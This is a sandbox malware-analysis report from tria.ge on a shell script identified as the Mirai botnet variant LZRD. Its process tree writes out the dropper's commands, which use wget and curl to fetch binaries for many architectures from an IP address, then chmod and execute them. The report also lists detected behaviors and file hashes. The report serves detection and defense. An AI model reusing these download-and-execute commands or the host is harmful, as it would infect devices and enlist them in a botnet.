Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    137s
  • max time network
    123s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/12/2024, 12:41

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    8364b34731a2e12ce67c2cfcb2811e75

  • SHA1

    5d718457dfa0ecc1a46528696d2769d11adf018f

  • SHA256

    cbeb5e39ef97058edd87f838971c4bab379a1a76a3b07b60cd9734efd8154cea

  • SHA512

    ca94f2b3643f6047efc405c15eab8fce850602cb28dbf36d760e7b6010df32c202066ab2ef66a79e0437792d8b5babc6f7a5742f7cb26df6e6354b55e1c837f9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 6 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:646
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/wget
      wget http://154.216.20.221/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:654
    • /usr/bin/curl
      curl -O http://154.216.20.221/hiddenbin/Space.arc
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:669
    • /bin/cat
      cat Space.arc
      2⤵
        PID:677
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
        2⤵
        • File and Directory Permissions Modification
        PID:678
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:679
      • /usr/bin/wget
        wget http://154.216.20.221/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:681
      • /usr/bin/curl
        curl -O http://154.216.20.221/hiddenbin/Space.x86
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:683
      • /bin/cat
        cat Space.x86
        2⤵
          PID:684
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:686
        • /usr/bin/wget
          wget http://154.216.20.221/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:689
        • /usr/bin/curl
          curl -O http://154.216.20.221/hiddenbin/Space.x86_64
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:690
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:696
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:699
          • /usr/bin/wget
            wget http://154.216.20.221/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:702
          • /usr/bin/curl
            curl -O http://154.216.20.221/hiddenbin/Space.i686
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:707
          • /bin/cat
            cat Space.i686
            2⤵
              PID:713
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
              2⤵
              • File and Directory Permissions Modification
              PID:715
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:716
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:719
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mips
              2⤵
              • Checks CPU configuration
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:725
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:731
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
              2⤵
              • File and Directory Permissions Modification
              PID:732
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:733
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:735
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mips64
              2⤵
              • Checks CPU configuration
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:741
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:749
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:751
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mpsl
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:758
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:759
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                PID:761
              • /usr/bin/wget
                wget http://154.216.20.221/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://154.216.20.221/hiddenbin/Space.arm
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:764
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:769
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                  2⤵
                  • File and Directory Permissions Modification
                  PID:770
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Reads runtime system information
                  PID:771
                • /usr/bin/wget
                  wget http://154.216.20.221/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://154.216.20.221/hiddenbin/Space.arm5
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:804
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:805
                  • /bin/chmod
                    chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:806
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:807
                  • /usr/bin/wget
                    wget http://154.216.20.221/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://154.216.20.221/hiddenbin/Space.arm6
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:809
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:810
                    • /bin/chmod
                      chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                      2⤵
                      • File and Directory Permissions Modification
                      PID:811
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Reads runtime system information
                      PID:812
                    • /usr/bin/wget
                      wget http://154.216.20.221/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:820
                    • /usr/bin/curl
                      curl -O http://154.216.20.221/hiddenbin/Space.arm7
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:821
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:822
                      • /bin/chmod
                        chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:823
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:824
                      • /usr/bin/wget
                        wget http://154.216.20.221/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:832
                      • /usr/bin/curl
                        curl -O http://154.216.20.221/hiddenbin/Space.ppc
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:833
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:834
                        • /bin/chmod
                          chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                          2⤵
                          • File and Directory Permissions Modification
                          PID:835
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:836
                        • /usr/bin/wget
                          wget http://154.216.20.221/hiddenbin/Space.sparc
                          2⤵
                            PID:838
                          • /usr/bin/curl
                            curl -O http://154.216.20.221/hiddenbin/Space.sparc
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:839
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:840
                            • /bin/chmod
                              chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                              2⤵
                              • File and Directory Permissions Modification
                              PID:841
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:842
                            • /usr/bin/wget
                              wget http://154.216.20.221/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:843
                            • /usr/bin/curl
                              curl -O http://154.216.20.221/hiddenbin/Space.m68k
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:844
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:845
                              • /bin/chmod
                                chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-FKmELS
                                2⤵
                                • File and Directory Permissions Modification
                                PID:846
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:847
                              • /usr/bin/wget
                                wget http://154.216.20.221/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:849
                              • /usr/bin/curl
                                curl -O http://154.216.20.221/hiddenbin/Space.sh4
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:853
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:854
                                • /bin/chmod
                                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:855
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:856

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                b73e8fbb7aee4bbe5902554d6ab22092

                                SHA1

                                620097bfd55d8ade8d138bb2ba10e8d4c43fd105

                                SHA256

                                22dfde185b0b8051baf38817b34383b65d9dbe7ef4f09ad9cd856154c0709d04

                                SHA512

                                d42eed1c1ac183241f787c967d627e3df379c13c2b992c83c3cd9cdd5ee1446e8898709ad1472ba31a36aab9cbdc04b9c0a7c36668e39c8d26d5b808bb4ea9d8

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                57c14d83bcaba972ea0b53c6814e9f65

                                SHA1

                                9834b2c220567c48d38ca9150a65e8145e6a0f36

                                SHA256

                                07d4715e63470114117c803268c02a590af4e83c00fb0251be96032e136dabbf

                                SHA512

                                7e14e067f428e598241038c80d517c9d22003e55d32c6bb64b153215b58ca2aee7c3ebf1538989e156c288f61e6f49a858f9cd02e0f4a92d15bc4d772348dd92

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                f1ec41bcdeefed4e7d8a5495c6f07a92

                                SHA1

                                189e68405fe81999a6743eefb5522b35c5d0056b

                                SHA256

                                ed564aaa907b55f773c3a1de910979d25652bccb5cc407a260cb16652c2d5cd7

                                SHA512

                                26cb39a606efc65e524287053445d46639bb88af34cf4d0e81bd55154be8636bf77c36b11822aa355046771267df6a917bce4558780feda0001166d2385a1f04

                              • /tmp/Space

                                Filesize

                                43KB

                                MD5

                                ba5ceb1218e230d2029a3206061e2e92

                                SHA1

                                f8c1c20e355c1fc999b414141c1e26c456b0241d

                                SHA256

                                d61fd8e146be70d9228432177c62353000a2b7f3d5576453fe5d04cc2c9afdb2

                                SHA512

                                7290e14d04ac418f61c2d81affda96b4a9e4e2f2f5725868bc81607377716986e1c37269cad4c6b2aaa8d8de219294e0b35944aecb700c21dbf4d48fed926192

                              • /tmp/Space

                                Filesize

                                95KB

                                MD5

                                ef098a9aa69350d3cec9b52774ee3721

                                SHA1

                                6d37368f07ad9e650aa1bb4108b667efe1edf95a

                                SHA256

                                ad59b4acf07ff0c1673e9d8b5dff9b61871049cda583f852a857feed09194436

                                SHA512

                                7520a7dc3890d8f6974478d1083563aa9926f85a4e1d6647f12207dec93a1af167c669b9b1b0e044943d7f3ba3a2c889c5a6b4c4dcedbe5d86780f68016ac3ad

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                0fdd3e751fa9d0f60c5a218e4269c9ad

                                SHA1

                                0d9ae7d06494f59cfc3bfba8e162e29630159be3

                                SHA256

                                81749b59ba614b200a57dd0990104117748a04add1ce6f28528328fb50e19528

                                SHA512

                                2b9ab36b3f5fd535ff322c4ac3fcad543b3d6da8fdbad80c6dfad309bf33e340ed9871453f7614d3a35395e7afd23066d7c766fb7b4466ccf591e570300ae0de

                              • /tmp/busybox

                                Filesize

                                507KB

                                MD5

                                e588bcf03ae78237b58899d35f50c570

                                SHA1

                                2194732ebbefbc27bdae876c77f2a97a20175710

                                SHA256

                                2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                                SHA512

                                904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555